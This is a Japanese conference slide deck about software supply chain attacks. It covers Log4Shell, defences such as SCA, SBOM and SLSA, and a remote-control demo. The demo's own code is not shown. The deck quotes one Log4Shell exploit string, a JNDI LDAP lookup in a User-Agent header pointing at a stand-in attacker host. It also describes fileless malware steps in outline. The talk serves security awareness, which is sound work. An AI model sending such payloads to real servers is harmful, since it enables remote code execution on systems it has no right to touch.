端末が簡単にリモートから操作されるデモを通じてソフトウェアサプライチェーン攻撃対策の重要性を理解しよう

端末が簡単にリモートから操作されるデモを通じて   ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう JJUG CCC 2024 Fall 北島　悠  #jjug_ccc #jjug_ccc_i

アジェンダ • 自己紹介  • Log4Shellから約3年どんな脆弱性だったか  • ソフトウェアサプライチェーン攻撃  • リモートから操作されるイメージ  •
デモ  • まとめ  • 最後に 

自己紹介  セキュリティアーキテクト（名乗ってます）  • セキュリティしか勝たん  • プリセールス、人材育成、啓蒙活動などなど  • @kitaji0306  北島　悠（キタジー） 

Log4Shellから約3年どんな脆弱性だったか 

どんな脆弱性だったか   • 2021年12月10日くらいから話題となった  • Javaの有名ログライブラリApache Log4j2 起因  •
サーバ内部でコード（コマンド）実行可能   リモートコード実行  （RCE：Remote Code Execution） 

当時の全社メール   2021年12月10日（金） SNSで情報拡散画像引用元： JPCERT/CC：Apache Log4j2のRCE脆弱性（CVE-2021-44228）を狙う攻撃観測 2021年12月13日（月）15:57  

攻撃の一連の流れ   LDAPを用いた攻撃の流れと各ポイントでの対策（ GovCERT.chの記事より概要図を引用）外部から指定可能なパラメータやヘッダを利用 User-Agent:
${jndi:ldap://evil.xa/x}   攻撃者が準備した LDAPサーバ Base64エンコード済みのSerializeされた Javaオブジェクト Deserializeされた Javaオブジェクトの実行 JNDI Lookupという仕様で解析されLDAP サーバへ通信

技術要素確認   • JNDI（Java Naming and Directory Interface）  ◦ 外部リソース（LDAP等）
に接続する仕組を提供  • LDAP（Lightweight Directory Access Protocol）  ◦ ディレクトリ（テキスト）情報と通信するプロトコル  • Serialize（シリアライズ）  ◦ オブジェクトをbyte形式（テキストも可）に可逆変換 

攻撃された具体例   画像引用：マインクラフト公式サイト（https://www.minecraft.net/ja-jp）

Log4shellという脆弱性の恐ろしいところ   • 高リスクの脆弱性（CVSSスコア：10.0も有り）  ◦ リモートコード実行はシステム侵入の起点にもなる  • パッチより先に攻撃方法のPoCが公開された  ◦
アプリケーションで即時防御不可能なゼロデイ攻撃   • 多数のライブラリに暗黙的に内包されていた  ◦ アプリの影響範囲特定が難しい   ソフトウェアサプライチェーンの課題 

ソフトウェアサプライチェーン攻撃 

主にサプライヤーを経由する攻撃のこと  サプライチェーン攻撃とは   大企業  取引先  海外子会社  強固なセキュリティで直接攻撃は困難   セキュリティ対策の甘
い関連企業を攻撃   間接的に攻撃   攻撃者 

ソフトウェアサプライチェーン攻撃とは   監　　視  運　　用  デプロイ  コード  ビルド  テスト  計　　画  リリース 
Dev  Ops  脆弱コードを仕込むゼロデイ攻撃 API連携先から攻撃依存パッケージから攻撃脆弱なコンテナイメージテスト支援ツールから攻撃主に各工程で利用するOSSに依存した攻撃 

どうしたらOSSを安全に利用出来る？   早い段階でのリスク発見と対策が必要  • SCA（ソフトウェア構成分析）  ◦ 脆弱性スキャンによる脆弱なライブラリの検知  • SBOM（ソフトウェア部品票） 
◦ ソフトウェアサプライチェーンの可視化  • SLSA（Supply-chain Levels for Software Artifacts）  ◦ 開発工程の成熟度を測るセキュリティフレームワーク 

リモートから操作されるイメージ 

ファイル実行で動作（従来のマルウェア）   仕様書.docx　　　　　　　　　　　 …  仕様書.docx　　　　　　　　　　 .exe  ファイル名を長くして拡張子を隠す
（偽の拡張子は表示される）  気づかないで実行 

コマンドを受信して動作（ファイルレスマルウェア）   PC（Windows）   PC内部のPowerShell   C&C  （コマンド＆コントロール）サーバ  
攻撃者  Officeファイルやブラウザの脆弱性を利用してスクリプトを埋め込む  スクリプトから PowerShellを起動  C&Cサーバに接続  マルウェアをダウンロードして活動開始  ①  ②  ③  ④ 

デモ 

正当な理由なく  ウイルス作成、実行、不正アクセスは  犯罪です。    駄目絶対！！   と、その前に 

デモの登場人物及び環境   • Attacker（攻撃者）   ◦ AWS EC2  ▪ ここからリモート操作する（C&Cサーバ） 
  • Victim（被害者）   ◦ ウイルス対策ソフトの入ったWindows11（このPC）  ▪ Java開発者がOSSのライブラリを利用したアプリを開発中 

デモのシナリオ   • 1：Attacker   ◦ サーバで接続待ち受けコマンド実行    • 2：Victim
  ◦ ぬるぽライブラリを使った関数のテストを実行  ▪ マルウェアモドキをダウンロードしてC&Cサーバに接続    • 3：Attacker   ◦ ぬるぽライブラリを実行したPCのコンソールを操作 

デモ画面へGO 

まとめ 

まとめ  • Log4Shellは非常に恐ろしい脆弱性だった  ◦ 攻撃の仕組みを理解するだけでも有用  • ソフトウェアサプライチェーン攻撃対策  ◦ 開発工程早期のセキュリティ対策
が有用  • ツール（SSHやRDP）不要でリモート操作可能  ◦ 対策ソフト以外に各自のセキュリティ意識も重要   自分たちのソフトウェアを自分たちで守る 

最後に 

みんなの学びを少しでも公開すると  新たな気づきを得る人が増えます。  どこでも良いので  アウトプット   してみましょ！！ 

端末が簡単にリモートから操作されるデモを通じてソフトウェアサプライチェーン攻撃対策の重要性を...

端末が簡単にリモートから操作されるデモを通じてソフトウェアサプライチェーン攻撃対策の重要性を理解しよう

kitaji0306

More Decks by kitaji0306

Other Decks in Technology

Featured

Transcript